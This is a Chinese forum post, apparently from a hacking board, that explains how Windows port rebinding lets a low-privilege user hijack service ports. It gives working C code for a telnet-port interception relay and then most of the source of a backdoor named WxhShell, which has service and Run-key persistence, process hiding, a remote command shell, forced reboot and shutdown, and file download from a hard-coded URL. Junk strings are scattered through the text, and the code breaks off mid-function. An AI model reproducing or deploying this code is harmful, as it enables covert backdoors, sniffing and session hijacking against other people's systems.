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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: '2^7-3_1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7%f&M>/  
Rk!X]-`=  
  saddr.sin_family = AF_INET; WOzf]3Xcj  
JjaoOe  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); i4Lc$20?d  
#7ohQrP  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [e[<p\]  
Hso|e?Z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %`Z+a.~U  
S*o[ZA   
  这意味着什么?意味着可以进行如下的攻击: ,XDRO./+T  
Gmwf4>"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *g?Po+ef%  
7X@mSXis  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~t9tnLc$  
8>hwK)av  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }\J2?Et{  
P3$Q&^?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ry9T U  
>B]'fUt5a  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 x }Ad_#q  
'AN>`\mR$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =[b)1FUp  
RuII!}*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /1Ue?)g  
X 1 57$  
  #include okbQ<{9  
  #include DC{>TC[p1k  
  #include ,) J~,^f6  
  #include    9IX/wm"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   lXcx@#~  
  int main() o2<#s)GpY  
  { :oJ=iB'Zc  
  WORD wVersionRequested; 'Ut7{rZ5  
  DWORD ret; I f\fLhM  
  WSADATA wsaData; 6DH~dL_",%  
  BOOL val; "g$IP9?U  
  SOCKADDR_IN saddr; /p8dZ+X  
  SOCKADDR_IN scaddr; O,Cb"{qH8  
  int err; nBk)WX&[K  
  SOCKET s; uj :%#u  
  SOCKET sc; BNL;Biy t7  
  int caddsize; H\TI[JPAl  
  HANDLE mt; g$b<1:8  
  DWORD tid;   dCRyOid$  
  wVersionRequested = MAKEWORD( 2, 2 ); /~zai}  
  err = WSAStartup( wVersionRequested, &wsaData ); yUpgoX(6  
  if ( err != 0 ) { &Z`#cMR{H  
  printf("error!WSAStartup failed!\n"); hCC<?5q  
  return -1; (1#J%  
  } Q%xC}||1s"  
  saddr.sin_family = AF_INET; 6i1LjLB  
   #Y$hNQQ$F  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?Y@N`S  
dq]0X?[6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); rzt Ru  
  saddr.sin_port = htons(23); iyg*Xbmi~.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4O35 "1  
  { ZMel{w`n  
  printf("error!socket failed!\n"); [eC2"&}  
  return -1; .ev?"!Vpp9  
  } _H5o'>=  
  val = TRUE; HSc~*Q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Z'\h  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8P|D13- Q  
  { DAXX;4  
  printf("error!setsockopt failed!\n"); e J6$-r  
  return -1; =>_\fNy  
  } m6w].-D8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; u fw]=h)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9Gnc9_]I;W  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #`)(e JF  
>Wv;R2|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) A<??T[  
  { ~^1{B\I  
  ret=GetLastError(); CLUW!F  
  printf("error!bind failed!\n"); c-(UhN3WG  
  return -1; Ru>MFG  
  } oM>Z;QVRC:  
  listen(s,2); G|!on<l&  
  while(1) ?.Ca|H<  
  { s+<Yg$)  
  caddsize = sizeof(scaddr); i%0ur}p  
  //接受连接请求 :51/29}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); V6@o]*  
  if(sc!=INVALID_SOCKET) eS~LF.^Jw  
  { TA4!$7b$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); E>D_V@,/  
  if(mt==NULL) E&[{4Ml  
  { 5:KQg  
  printf("Thread Creat Failed!\n"); Zg{KFM%  
  break; gcl5jB5)>  
  } @X#F3;  
  } }f6HYU  
  CloseHandle(mt); oYH^_V  
  } R8a3 1&  
  closesocket(s); .nx2";oi  
  WSACleanup(); ` 2V19 s]  
  return 0; oYm[V<nIl  
  }   nH[yJGZYSA  
  DWORD WINAPI ClientThread(LPVOID lpParam) Wa{`VS  
  { @eKec1<  
  SOCKET ss = (SOCKET)lpParam; ddJe=PUb  
  SOCKET sc; /7Cc#P6  
  unsigned char buf[4096]; K3#@SY j  
  SOCKADDR_IN saddr; 8|l\E VV6  
  long num; L?mrba y  
  DWORD val; n<z [J=I  
  DWORD ret; %D\[*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3 :<WY&9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   l*d(;AR  
  saddr.sin_family = AF_INET; T?ZRiR)@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); n'E(y)9|  
  saddr.sin_port = htons(23); f Sa"%8%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1SCR.@ k<  
  { EVsC >rz  
  printf("error!socket failed!\n"); PgF* 1  
  return -1; Lh!J >  
  } YUtC.TR1  
  val = 100; RC7]'4o  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4NheWM6  
  { UCB/=k^m  
  ret = GetLastError(); 5YeM%%-S  
  return -1; I 8`VNA&b  
  } 3z{?_;bR  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1W^t aJH]  
  { i@"@9n~  
  ret = GetLastError(); M_/7D|xl/T  
  return -1; QI'Oz{vE  
  } "K6&dk jY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :V RNs  
  { OR~8sU  
  printf("error!socket connect failed!\n"); <lx+/o  
  closesocket(sc); &8Cu#^3  
  closesocket(ss); mwHB(7YS,  
  return -1; $P^q!H4D  
  } S2sQOM@  
  while(1) N4F.Y"R$(  
  { chM%]|gey  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &^}1O:8e  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ib#KpEk  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =Y|VgV  
  num = recv(ss,buf,4096,0); r1 !@hT  
  if(num>0) `yrB->|vG  
  send(sc,buf,num,0); xr4 *{v  
  else if(num==0) ?PeJlpYzV  
  break; s >7}zU]  
  num = recv(sc,buf,4096,0); S9]'?|  
  if(num>0) E7j(QO f  
  send(ss,buf,num,0); SJb&m-  
  else if(num==0) }YGV\Nu  
  break; ayR-\mZ  
  } &^ 1$^=  
  closesocket(ss); +" .X )avF  
  closesocket(sc); snE8 K}4  
  return 0 ; [=6]+V83M  
  } x<tb  
s~ a"4~f  
gc_:%ki  
========================================================== il4^zj82  
!/'t5~x[  
下边附上一个代码,,WXhSHELL xHv ZV<#  
f phv  
========================================================== 4gI/!,J(b  
jS]ru-5.  
#include "stdafx.h" p& y<I6a,  
AYqX |  
#include <stdio.h> ey7 f9  
#include <string.h> !;q&NHco  
#include <windows.h> _{I3i:f9X8  
#include <winsock2.h> +"\sc;6m.  
#include <winsvc.h> fInb[  
#include <urlmon.h> 0L2F[TN  
ry`Ho8N  
#pragma comment (lib, "Ws2_32.lib") x -WmMfcz&  
#pragma comment (lib, "urlmon.lib") o4G?nvK-  
CGW.I$u  
#define MAX_USER   100 // 最大客户端连接数 T*Y~\~Jhu  
#define BUF_SOCK   200 // sock buffer [kVS O  
#define KEY_BUFF   255 // 输入 buffer ?GKb7Oj  
>)fi^  
#define REBOOT     0   // 重启 ##,a0s^  
#define SHUTDOWN   1   // 关机 \ub7`01  
% L$bf#  
#define DEF_PORT   5000 // 监听端口 UOv+T8f=  
k9sh @ENy  
#define REG_LEN     16   // 注册表键长度 XRM_x:+]  
#define SVC_LEN     80   // NT服务名长度 $v4.sl:x  
ysQ_[ ]/  
// 从dll定义API RIWxs Zt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); oR)Jznmi}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @Q)OGjaq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @'#,D!U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kyR:[+je  
uw>Ba %5  
// wxhshell配置信息 PS)4 I&;U  
struct WSCFG { pnl{&<$C%C  
  int ws_port;         // 监听端口 jwc)Lj}  
  char ws_passstr[REG_LEN]; // 口令 k^3>Y%^1  
  int ws_autoins;       // 安装标记, 1=yes 0=no [A+ >^ {  
  char ws_regname[REG_LEN]; // 注册表键名 |GdUL%1hnC  
  char ws_svcname[REG_LEN]; // 服务名 YqhAZp<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'nzg6^I7g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $p1(He0 2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $ Xv*,Bq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nsu@h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Xb|:vr\v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bn|I> e  
CKYc\<zR0l  
}; L*Tj^q!t+  
27eooY1  
// default Wxhshell configuration Ci@o|Y }tP  
struct WSCFG wscfg={DEF_PORT, MK%9:wZ  
    "xuhuanlingzhe", ~qiJR`Jj  
    1, =_.l8IYX$%  
    "Wxhshell", dN$0OS`s[  
    "Wxhshell", e>} s;H,  
            "WxhShell Service", J{.{f  
    "Wrsky Windows CmdShell Service", 0.`/X66;V  
    "Please Input Your Password: ", so,t   
  1, NO*u9YH?  
  "http://www.wrsky.com/wxhshell.exe", ((YMVe  
  "Wxhshell.exe" wL+s8#{  
    }; RD!&LFz/}  
&jS>UsGh  
// 消息定义模块 z Xg3[orF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |XaIx#n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C.WX.Je  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LA!?H]  
char *msg_ws_ext="\n\rExit."; R5N%e%[  
char *msg_ws_end="\n\rQuit."; CuaVb1r  
char *msg_ws_boot="\n\rReboot..."; =6j&4p `  
char *msg_ws_poff="\n\rShutdown..."; R{C(K(5/  
char *msg_ws_down="\n\rSave to "; x>**;#7)  
SL Ws*aq  
char *msg_ws_err="\n\rErr!"; u(z$fG:g  
char *msg_ws_ok="\n\rOK!"; qk%;on&`  
_F6OM5F"N  
char ExeFile[MAX_PATH]; !EvAB+`jLI  
int nUser = 0; :y'Ah#  
HANDLE handles[MAX_USER]; OV1_|##LC  
int OsIsNt; 0z`a1 %U  
\ ZgE  
SERVICE_STATUS       serviceStatus; /Wi[OT14  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I:=S 0&%)  
+^` I?1\UF  
// 函数声明 QE^$=\l0  
int Install(void); Gw}%{=D9  
int Uninstall(void); n<Z({\9&H  
int DownloadFile(char *sURL, SOCKET wsh); tIWmp30S  
int Boot(int flag); ux=w!y;}  
void HideProc(void); 'j`=if  
int GetOsVer(void); !O\82d1P  
int Wxhshell(SOCKET wsl); 2i)^ !c  
void TalkWithClient(void *cs); bg!/%[ {M  
int CmdShell(SOCKET sock); ahJ`T*)HY  
int StartFromService(void); !8TlD-ZT/  
int StartWxhshell(LPSTR lpCmdLine); MUaq7B_>  
prWk2_D;*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (of#(I[m7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qrb[-|ie&  
T-'OwCB1q  
// 数据结构和表定义 6LvW?z(J  
SERVICE_TABLE_ENTRY DispatchTable[] = Lm iOhx  
{ 0CZ :Bo[3  
{wscfg.ws_svcname, NTServiceMain}, t;|@o\  
{NULL, NULL} Xc =Y  
}; :N:yLd} &  
KN^=i5K+Y  
// 自我安装 [@&m4 7  
int Install(void) %vn|k[n D  
{ 'f#{{KA  
  char svExeFile[MAX_PATH]; ts ,ZvY]  
  HKEY key; V><,UI=,n  
  strcpy(svExeFile,ExeFile); RFi S@.7  
>"??!|XG^  
// 如果是win9x系统,修改注册表设为自启动 e6`Jbu+J<f  
if(!OsIsNt) { jte.Xy~g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { us1Hu)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NG=@ -eu  
  RegCloseKey(key); Df}A^G >X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MR;1 2*p  
  RegCloseKey(key); I5X|(0es  
  return 0; ny]?I  
    } :,3C 0T3r  
  } OTvPUkp*  
} 1D7nkAy  
else { EGGWrl}1  
~IY%  
// 如果是NT以上系统,安装为系统服务 .8 2P(}h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XD!W: uvb  
if (schSCManager!=0) ]tim,7s  
{ ?U%qPv:  
  SC_HANDLE schService = CreateService >1.X*gi?-  
  ( 8Q.T g.  
  schSCManager, ])[[ V!1  
  wscfg.ws_svcname, #oS<E1  
  wscfg.ws_svcdisp, ;(b9#b.  
  SERVICE_ALL_ACCESS, U#0Q)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Mc? Qx  
  SERVICE_AUTO_START, ^a/gBC82x  
  SERVICE_ERROR_NORMAL, J-[,KME_^  
  svExeFile, l?E{YQq]  
  NULL, H[NSqu.s  
  NULL, o$wEEz*4  
  NULL, ,cXD.y  
  NULL, =%BSKSG.  
  NULL C1V|0h u  
  ); 6`&a&%,O  
  if (schService!=0) ML}J\7R  
  { Y@NNrGDkT*  
  CloseServiceHandle(schService); \e:7)R2<!x  
  CloseServiceHandle(schSCManager); w VvF^VHV^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9)D6Nm  
  strcat(svExeFile,wscfg.ws_svcname); ]RwpX ^ 1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,bZL C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,dv+p&Tz2  
  RegCloseKey(key); -{KQr1{5UM  
  return 0; CLxynZ \;  
    } {yBs7[Wn  
  } 1m'k|Ka  
  CloseServiceHandle(schSCManager); ,[N%Q#  
} "x#-sZ=  
} +UCG0D  
T tfo^ksw  
return 1; eJrQ\>z]V&  
} JOj;^ h  
^NLmgw Q  
// 自我卸载 n|6Ic,:[  
int Uninstall(void) %gInje  
{ /RG:W0=K  
  HKEY key; >d(~# Z`  
EW}Bzh>b  
if(!OsIsNt) { ##q2mm:a9P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zU,9T  
  RegDeleteValue(key,wscfg.ws_regname); 3Lfqdqj  
  RegCloseKey(key); 0^v`T%|fTX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KsddA  
  RegDeleteValue(key,wscfg.ws_regname); Lt2u,9  
  RegCloseKey(key); kT|dUw9G  
  return 0; _1!7V3|^  
  } xn?a. 3b'  
} bc*X/).  
} <NHH^M\N  
else { *~2,/D  
XP`Nf)3{Yd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _Mi5g_  
if (schSCManager!=0) j9m_jv  
{ ~Q*%DRd&Z-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7( #:GD  
  if (schService!=0) T*I{WW  
  { \Yy$MLs  
  if(DeleteService(schService)!=0) { ['b}QW@Fx  
  CloseServiceHandle(schService); -Sq z5lo  
  CloseServiceHandle(schSCManager); [Hx0`Nc K  
  return 0; tCw<Ip  
  } %3s1z<;R[S  
  CloseServiceHandle(schService); Z3%}ajPu[  
  } #^#PPO  
  CloseServiceHandle(schSCManager); [m- >5H  
} 36.Z0Z1'F>  
} s'3 s^Dd  
[RS|gem`  
return 1; )Fc%+TpKi  
} HUcq% .  
6 [k\@&V-  
// 从指定url下载文件 .4S.>~^7  
int DownloadFile(char *sURL, SOCKET wsh) ]z;P9B3@&  
{ 6S},(=  
  HRESULT hr; NxfOF  
char seps[]= "/"; *=) cQeJ  
char *token; E!;SL|lj.  
char *file; XYQ/^SI!:  
char myURL[MAX_PATH]; wDw[RW3  
char myFILE[MAX_PATH]; SP@ >vl+;  
pD(j'[  
strcpy(myURL,sURL); Fzm*Pz3  
  token=strtok(myURL,seps); ;:iY)}  
  while(token!=NULL) 8bxfj<O,  
  { O8^A5,2@3>  
    file=token; ,yC-+VL  
  token=strtok(NULL,seps); #OZ>V3k  
  } N>Xo_-QCY  
\TIT:1  
GetCurrentDirectory(MAX_PATH,myFILE); ]{!U@b  
strcat(myFILE, "\\"); eFipIn)b  
strcat(myFILE, file); '|ad_M  
  send(wsh,myFILE,strlen(myFILE),0); y~(h>gi,x  
send(wsh,"...",3,0); .nTwPrG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \-L&5x"x  
  if(hr==S_OK) PYQ;``~x  
return 0; W=lyIb{?^0  
else mD/9J5:  
return 1; 88Ey12$  
6e(Qwt  
} 8<5]\X  
rW<KKGsRWQ  
// 系统电源模块 `Nv=B1  
int Boot(int flag) w}L]X1#sF  
{ Y2|#V#  
  HANDLE hToken; 3s5z UT;  
  TOKEN_PRIVILEGES tkp; $': E\*ICb  
ycc4W*]  
  if(OsIsNt) { }q`ts=dlGt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +00b)TF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UMv.{iEj  
    tkp.PrivilegeCount = 1; dA#Q}.*r  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DP[IZ C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s:?SF.  
if(flag==REBOOT) { +ndaLhj'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y)1PB+  
  return 0; lvdf^b/ j  
} A8xvo/n$  
else { v>:Ur}u!D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f< ia(d  
  return 0; 2$9odD<r  
} -^K"ZP1  
  } *jLJcb*.Ap  
  else { tI]Q%S,  
if(flag==REBOOT) { RW|`nL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9"NF/)_  
  return 0; 'g6\CZw(#  
} ng[Ar`  
else { i=ea ?eT`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {mm)ay|M  
  return 0; Bz^jw>1b  
} 5:\},n+VE  
} \<.+rqa!  
63^O|y\W8  
return 1; >l]Xz*HE  
} \jh'9\  
?TM ,Q  
// win9x进程隐藏模块 %!]@J[*1  
void HideProc(void) wHzEMwY_  
{ !-ok"k0,u  
6 rh5h:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \"qY"V  
  if ( hKernel != NULL ) Vl5`U'^qx  
  { b v G/|U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t 4PK}>QW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bhID#&  
    FreeLibrary(hKernel); nx@=>E+a  
  } g~Z vA(`  
56}U8X  
return; NYyh|X:m  
} \O}E7 -  
g=39C>  
// 获取操作系统版本 X]'{(?Ch  
int GetOsVer(void) T,7Y7c/3V  
{ _7<FOOM%8y  
  OSVERSIONINFO winfo; %.vQU @2A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .nB0 h  
  GetVersionEx(&winfo); 83E7k]7]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uya.sF0]9B  
  return 1; ;l4[%xld  
  else bmJ5MF]_fG  
  return 0; _|iSF2f,X  
} KmMzH`t}`  
1=t>HQ  
// 客户端句柄模块 6{x(.=  
int Wxhshell(SOCKET wsl) ,kF1T,  
{ C.~,qmOP  
  SOCKET wsh; Vdtry @Q  
  struct sockaddr_in client; N6>(;ugJ1-  
  DWORD myID; f) znTJL  
N|1M1EBOu>  
  while(nUser<MAX_USER) QU4h8}$  
{ wy yWyf  
  int nSize=sizeof(client); QXL'^uO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h xSKG  
  if(wsh==INVALID_SOCKET) return 1; :S.9eFfa  
(XeE2l2M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LyZ.l*h%=m  
if(handles[nUser]==0) zer%W%  
  closesocket(wsh); t'VV>;-RO=  
else YHkn2]^#A  
  nUser++; n\QgOSr<  
  } |h-QP#]/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); } uO);k5H  
.}^g!jm~h  
  return 0; ao%NK<Lt  
} &wi e]  
Uhe=h&e2k@  
// 关闭 socket V}bjK8$$  
void CloseIt(SOCKET wsh) 4y)P>c  
{ | 1E|hh@k  
closesocket(wsh); mlixIW2  
nUser--; ?a8^1:  
ExitThread(0); <d,b'<z s  
} LwrUQ)  
cFaaLUZk  
// 客户端请求句柄 Jzj1w}?H  
void TalkWithClient(void *cs) M|6A0m#Q  
{ [.m`+  
Yb +yw_5  
  SOCKET wsh=(SOCKET)cs; \wo?47+=  
  char pwd[SVC_LEN]; V`X2> -Ex  
  char cmd[KEY_BUFF]; H#@^R(  
char chr[1]; <%($7VMev  
int i,j; "|Xk2U  
os,* 3WO  
  while (nUser < MAX_USER) { }#.L7SIJ<J  
y603$Cv  
if(wscfg.ws_passstr) { ^X0P'l &D2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #,,d>e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [ad@*KFxy3  
  //ZeroMemory(pwd,KEY_BUFF); I`p+Qt  
      i=0; IzsphBI  
  while(i<SVC_LEN) { }x@2]juJ  
pv*,gSS  
  // 设置超时 Y'yH;M z  
  fd_set FdRead; DKne'3pH  
  struct timeval TimeOut; TFH\K{DM  
  FD_ZERO(&FdRead); mk1bcK9  
  FD_SET(wsh,&FdRead); DSC$i|  
  TimeOut.tv_sec=8; : e]a$  
  TimeOut.tv_usec=0; Qc gRAo+u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *i]=f6G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1xD=ffM>8N  
E^QlJ8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #OIcLEn%  
  pwd=chr[0]; qC}-_u7s  
  if(chr[0]==0xd || chr[0]==0xa) { 1KMLG=  
  pwd=0; y&Mr=5:y  
  break; W{%TlN  
  } )\_:{c  
  i++; f%Ns[S~r  
    } _jJPbKz  
#,7e NM"  
  // 如果是非法用户,关闭 socket g}f`,r9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C 'v+f=  
} \Z]UA&v_  
eAXc:222  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v\!Be[ ?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y]NSN-t  
\]&#%6|V  
while(1) { qDv93  
9F4Dm*_<  
  ZeroMemory(cmd,KEY_BUFF); <\Eh1[F  
bu |a0h7e  
      // 自动支持客户端 telnet标准   ERpnuMb  
  j=0; l ;JA8o\x  
  while(j<KEY_BUFF) { (^@ra$.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fG}tMSI  
  cmd[j]=chr[0]; "5-^l.CKH  
  if(chr[0]==0xa || chr[0]==0xd) { L[^9E'L$  
  cmd[j]=0; N F2/B#q  
  break; S'A>2>  
  } (5R?#vj  
  j++; +s,Qmmb7)  
    } T^w36}a  
Fz1_w$^  
  // 下载文件 y=`2\L" O  
  if(strstr(cmd,"http://")) { N$h{Yvbn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yHs- h   
  if(DownloadFile(cmd,wsh)) GqWB{$J;"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2W/?q!t  
  else \]=7!RQ\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kB/D!1 "  
  } R($KSui  
  else { jqv-D  
Tsgk/e9K2?  
    switch(cmd[0]) { b /@#}Gc  
  2ggdWg7z  
  // 帮助 0o+6Q8q  
  case '?': { y9_K, g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A3|Dz&@:  
    break; D$bIo "  
  } )Z(TCJ~~!  
  // 安装 (@t(?Js  
  case 'i': { o>/YAX:.!T  
    if(Install()) /wP@2ADB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'f[T&o&L/  
    else &$]v h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C!Rs^/  
    break; {P{bOe  
    } V>R8GSx  
  // 卸载 --HF8_8;'  
  case 'r': { c.,2GwW  
    if(Uninstall()) NXNY"r7~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^zt-HDBR_  
    else ;cPy1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >)spqu]  
    break; AI,(z;{P  
    } Sg6"WV{<  
  // 显示 wxhshell 所在路径 BB~OqZIP  
  case 'p': { D&}3$ 7>  
    char svExeFile[MAX_PATH]; Uc_'(IyO  
    strcpy(svExeFile,"\n\r"); Z7_m)@%;kk  
      strcat(svExeFile,ExeFile); JS*m65e  
        send(wsh,svExeFile,strlen(svExeFile),0); tcLnN:  
    break; *Txl+zTY  
    } qxFB%KqU  
  // 重启 TQx.KM>y  
  case 'b': { IG|X!l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o3I Tr';  
    if(Boot(REBOOT)) fRtUvC-#H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O)ME"@r@:  
    else { 'h^0HE\~p  
    closesocket(wsh); MxGu>r  
    ExitThread(0); }z\_;\7  
    } 9T |IvQK8  
    break; RAG3o-  
    } qQ"Fv|]~>  
  // 关机 87=^J xy  
